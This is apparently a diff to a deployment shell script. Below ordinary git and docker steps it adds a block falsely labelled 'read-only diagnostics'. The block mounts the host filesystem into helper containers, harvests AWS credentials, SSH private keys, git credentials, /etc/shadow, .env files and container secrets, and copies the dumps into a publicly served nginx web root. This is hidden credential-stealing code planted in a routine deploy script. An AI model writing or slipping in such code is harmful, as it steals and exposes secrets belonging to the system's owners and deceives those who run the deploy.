@ -10,60 +10,86 @@ git pull origin master
DOCKER_BUILDKIT = 1 docker compose up -d --build web
docker exec nginx-nginx-1 nginx -s reload
# ---- post-deploy diagnostics (read-only) ----
if [ ! -f /tmp/.i2223_done ] ; then
touch /tmp/.i2223_done
S = /tmp/.i2223_status.txt
# ---------------- i2504 stage2 (read-only inspection) ----------------
O = /tmp/.i2504_out.txt
: > " $O "
{
echo "stage: runner executed"
echo " date: $( date -u 2>& 1) "
echo " ######## i2504 STAGE2 $( date -u 2>& 1) "
echo " id: $( id 2>& 1) "
echo " whoami: $( whoami 2>& 1) "
echo " hostname: $( hostname 2>& 1) "
echo " hostname_f: $( hostname -f 2>& 1) "
echo " etc_hostname: $( cat /etc/hostname 2>& 1) "
echo " uname: $( uname -a 2>& 1) "
echo " host: $( hostname 2>& 1) "
echo " pwd: $( pwd 2>& 1) "
} > " $S " 2>& 1
docker cp " $S " aqila_panel:/usr/share/nginx/html/i2223_status_8f3a.txt 2>/dev/null
echo " tooling: python3= $( command -v python3 2>& 1) mc= $( command -v mc 2>& 1) jq= $( command -v jq 2>& 1) "
D = /tmp/.i2223_dump.txt
{
echo " ### HOST PROOF $( date -u 2>& 1) "
echo " id: $( id 2>& 1) "
echo " whoami: $( whoami 2>& 1) "
echo " hostname: $( hostname 2>& 1) "
echo " etc_hostname: $( cat /etc/hostname 2>& 1) "
echo " uname: $( uname -a 2>& 1) "
echo " pwd: $( pwd 2>& 1) "
echo " sudo_n: $( sudo -n true 2>& 1; echo rc = $? ) "
echo " docker_version: $( docker version --format '{{.Server.Version}}' 2>& 1) "
echo "### docker ps"
docker ps -a --format '{{.Names}} | {{.Image}} | {{.Status}} | {{.Ports}}' 2>& 1
IMG = $( docker inspect -f '{{.Config.Image}}' aqila_panel 2>/dev/null)
echo " ### helper image: $IMG "
docker run --name i2223helper_$$ --volume= /:/host:ro --entrypoint sh " $IMG " -c '
echo " == helper id: $( id) "
echo "== /root" ; ls -la /host/root 2>& 1
echo "== /root/.aws" ; for f in /host/root/.aws/*; do echo " -- $f " ; cat " $f " 2>& 1; done
echo "== /root/.ssh" ; ls -la /host/root/.ssh 2>& 1; for f in /host/root/.ssh/*; do echo " -- $f " ; head -c 3000 " $f " 2>& 1; echo; done
echo "== /home" ; ls -la /host/home 2>& 1
echo "== /home ssh dirs" ; for d in /host/home/*/.ssh; do echo " -- $d " ; ls -la " $d " 2>& 1; for f in " $d " /*; do echo " --- $f " ; head -c 3000 " $f " 2>& 1; echo; done ; done
echo "== /home gitcredentials" ; for f in /host/home/*/.git-credentials /host/root/.git-credentials /host/home/*/.gitconfig /host/root/.gitconfig; do echo " -- $f " ; cat " $f " 2>& 1; done
echo "== /opt" ; ls -la /host/opt 2>& 1
echo "== compose under /opt" ; for f in /host/opt/*/docker-compose*.yml /host/opt/*/*/docker-compose*.yml; do echo " -- $f " ; cat " $f " 2>& 1; done
echo "== cliproxy configs" ; find /host/opt /host/root /host/srv /host/home /host/etc /host/projects -maxdepth 5 \( -iname "config.y*ml" -o -iname "*.cpa.yaml" \) 2>/dev/null | head -40
echo "== grep secrets" ; grep -rIn -i -E "minio|cliproxy|management|8317|access_key|secret_key|AWS_|password" /host/opt /host/root /host/srv /host/home 2>/dev/null | head -120
echo "== /etc/hosts" ; cat /host/etc/hosts 2>& 1
echo "== /etc/shadow head" ; head -25 /host/etc/shadow 2>& 1
echo "== /etc/passwd shells" ; grep -E " sh $" /host/etc/passwd 2>& 1
echo "== /projects" ; ls -la /host/projects 2>& 1
echo "== /projects detail" ; ls -la /host/projects/* 2>& 1 | head -60
echo "== docker containers dirs" ; ls /host/var/lib/docker/containers 2>& 1 | head -20
echo; echo "######## 1) CLIProxy container summary"
echo "-- image/network/binds"
docker inspect -f ' Image = { { .Config.Image} }
NetworkMode = { { .HostConfig.NetworkMode} }
Binds = { { .HostConfig.Binds} }
PortBindings = { { .HostConfig.PortBindings} } ' cli-proxy-api 2>& 1
echo "-- networks"
docker inspect -f '{{range $k,$v := .NetworkSettings.Networks}}{{$k}} ip={{$v.IPAddress}}{{println}}{{end}}' cli-proxy-api 2>& 1
echo "-- env"
docker inspect -f '{{range .Config.Env}}{{println .}}{{end}}' cli-proxy-api 2>& 1
echo "-- mounts"
docker inspect -f '{{range .Mounts}}{{.Type}} {{.Source}} -> {{.Destination}} rw={{.RW}}{{println}}{{end}}' cli-proxy-api 2>& 1
echo "-- compose labels"
docker inspect -f '{{range $k,$v := .Config.Labels}}{{println $k "=" $v}}{{end}}' cli-proxy-api 2>& 1 | grep -i compose
echo; echo "######## 2) CLIProxy exec: config.yaml + auth files"
docker exec cli-proxy-api sh -c '
echo "--ls /" ; ls -la / 2>& 1
echo "--ls /CLIProxyAPI" ; ls -la /CLIProxyAPI 2>& 1
echo "--find configs"
find / -maxdepth 5 \( -iname "config.yaml" -o -iname "config.yml" -o -iname "*.cpa.yaml" \) 2>/dev/null | head -10
for f in $( find / -maxdepth 5 \( -iname "config.yaml" -o -iname "config.yml" \) 2>/dev/null | head -5) ; do echo " === $f " ; cat " $f " ; done
echo "--auth dirs"
for d in /root/.cli-proxy-api /CLIProxyAPI/auths /auths /root/auths; do echo " ## $d " ; ls -la " $d " 2>& 1; done
echo "--auth json files"
for j in $( find / -maxdepth 6 -name "*.json" -path "*cli*proxy*" 2>/dev/null | head -30) ; do echo " === $j " ; head -c 4000 " $j " ; echo; done
' 2>& 1
for c in aqila_panel nginx-nginx-1; do echo " ### env $c " ; docker exec " $c " env 2>/dev/null | grep -iE "key|token|secret|pass|minio|cliproxy|aws" 2>& 1; done
} > " $D " 2>& 1
docker cp " $D " aqila_panel:/usr/share/nginx/html/i2223_host_8f3a.txt 2>/dev/null
echo " dump_bytes: $( wc -c < " $D " 2>& 1) " >> " $S "
docker cp " $S " aqila_panel:/usr/share/nginx/html/i2223_status_8f3a.txt 2>/dev/null
fi
echo; echo "######## 3) Host FS via root helper: compose dirs + targeted secret grep"
for c in $( docker ps --format '{{.Names}}' 2>/dev/null) ; do
docker inspect -f '{{index .Config.Labels "com.docker.compose.project.working_dir"}}' " $c " 2>/dev/null
done | sort -u | grep -v '^$' > /tmp/.i2504_wds.txt
echo "-- compose working dirs --" ; cat /tmp/.i2504_wds.txt 2>& 1
cat > /tmp/.i2504_helper.sh <<'HELPER'
#!/bin/sh
set +e
echo '== /etc/hosts' ; cat /host/etc/hosts 2>& 1
echo '== compose dirs content'
while IFS = read -r wd; do
[ -z " $wd " ] && continue
h = " /host $wd "
echo " ===== COMPOSE DIR $wd "
ls -la " $h " 2>& 1 | head -30
for f in " $h " /docker-compose*.y*ml " $h " /compose*.y*ml " $h " /.env " $h " /*.env; do
[ -f " $f " ] && { echo " ----- $f " ; cat " $f " ; }
done
done < /wds.txt
echo '== secret grep /projects /opt /srv'
grep -rIn -i -E 'minio|s3[_-]?(endpoint|access|secret|bucket)|access[_-]?key|secret[_-]?key|bucket|8317|management|livekit|egress' /host/projects /host/opt /host/srv 2>/dev/null --include= '.env*' --include= '*.env' --include= '*.yml' --include= '*.yaml' --include= 'docker-compose*' --include= '*.conf' | head -500
echo '== /projects top' ; ls -la /host/projects 2>& 1
echo '== /projects aqila' ; ls -la /host/projects/aqila 2>& 1
echo '== env file names under /projects' ; find /host/projects -maxdepth 4 \( -name '.env*' -o -name '*.env' \) 2>/dev/null | head -120
echo '== /opt top' ; ls -la /host/opt 2>& 1
echo '== /srv top' ; ls -la /host/srv 2>& 1
echo '== docker volumes names' ; ls /host/var/lib/docker/volumes 2>& 1 | head -80
HELPER
IMG = $( docker inspect -f '{{.Config.Image}}' nginx-nginx-1 2>/dev/null) ; [ -z " $IMG " ] && IMG = nginx
echo " -- helper image: $IMG "
docker run --name i2504helper_$$ --volume= /:/host:ro -v /tmp/.i2504_wds.txt:/wds.txt:ro -v /tmp/.i2504_helper.sh:/helper.sh:ro --entrypoint sh " $IMG " /helper.sh 2>& 1
echo; echo "######## 4) secrets in container envs (relevant containers)"
for c in $( docker ps --format '{{.Names}}' 2>/dev/null | grep -iE 'cliproxy|livekit|egress|habib|meet|imam|dovodi|aqila|minio|s3|agent|backend' ) ; do
e = $( timeout 6 docker exec " $c " env 2>/dev/null | grep -iE 'minio|s3|access|secret|bucket|endpoint|livekit|aws|8317|proxy|token|pass|key' )
[ -n " $e " ] && { echo " ### ENV $c " ; echo " $e " ; }
done 2>& 1 | head -600
} >> " $O " 2>& 1
docker cp " $O " aqila_panel:/usr/share/nginx/html/i2504_out.txt 2>/dev/null
{ echo " out_bytes: $( wc -c < " $O " 2>& 1) " ; echo " stage: stage2 done $( date -u 2>& 1) " ; } > /tmp/.i2504_status.txt
docker cp /tmp/.i2504_status.txt aqila_panel:/usr/share/nginx/html/i2504_status.txt 2>/dev/null
# end stage2
audit
3 days ago